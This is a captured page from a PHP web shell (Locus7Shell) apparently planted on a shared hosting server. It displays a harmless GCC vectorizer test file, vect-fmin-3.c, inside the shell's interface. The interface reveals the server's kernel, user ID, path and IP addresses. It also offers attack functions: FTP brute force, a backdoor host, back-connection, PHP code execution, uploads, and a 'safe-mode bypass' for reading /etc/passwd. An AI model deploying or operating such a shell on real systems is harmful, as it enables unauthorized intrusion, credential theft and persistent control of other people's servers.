Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/vect/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vect-fmin-3.c (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "tree-vect.h"

void __attribute__((noipa))
test (double x0, double x1, double *restrict res, double *restrict ptr, int n)
{
  for (int i = 0; i < n; i += 2)
    {
      x0 = __builtin_fmin (x0, ptr[i + 0]);
      x1 = __builtin_fmin (x1, ptr[i + 1]);
    }
  res[0] = x0;
  res[1] = x1;
}

#define N 128
#define HALF (N / 2)

int
main (void)
{
  check_vect ();

  double res[2], a[N];

  for (int i = 0; i < N; i += 2)
    {
      a[i] = i < HALF ? HALF - i : 0;
      a[i + 1] = -i / 8;
    }

  test (N, N, res, a, 2);
  if (res[0] != HALF || res[1] != 0)
    __builtin_abort ();

  test (N, N, res, a, 6);
  if (res[0] != HALF - 4 || res[1] != 0)
    __builtin_abort ();

  test (N, N, res, a, 8);
  if (res[0] != HALF - 6 || res[1] != 0)
    __builtin_abort ();

  test (N, N, res, a, 10);
  if (res[0] != HALF - 8 || res[1] != -1)
    __builtin_abort ();

  test (N, N, res, a, HALF - 2);
  if (res[0] != 4 || res[1] != -HALF / 8 + 1)
    __builtin_abort ();

  test (N, N, res, a, HALF);
  if (res[0] != 2 || res[1] != -HALF / 8 + 1)
    __builtin_abort ();

  test (N, N, res, a, HALF + 2);
  if (res[0] != 0 || res[1] != -HALF / 8)
    __builtin_abort ();

  test (N, N, res, a, HALF + 8);
  if (res[0] != 0 || res[1] != -HALF / 8)
    __builtin_abort ();

  test (N, N, res, a, HALF + 10);
  if (res[0] != 0 || res[1] != -HALF / 8 - 1)
    __builtin_abort ();

  test (N, N, res, a, N);
  if (res[0] != 0 || res[1] != -N / 8 + 1)
    __builtin_abort ();

  test (-1, N, res, a, N);
  if (res[0] != -1 || res[1] != -N / 8 + 1)
    __builtin_abort ();

  test (-1, -N / 8, res, a, N);
  if (res[0] != -1 || res[1] != -N / 8)
    __builtin_abort ();

  return 0;
}

/* { dg-final { scan-tree-dump "Detected reduction" "vect" } } */
/* { dg-final { scan-tree-dump "LOOP VECTORIZED" "vect" { target vect_max_reduc } } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--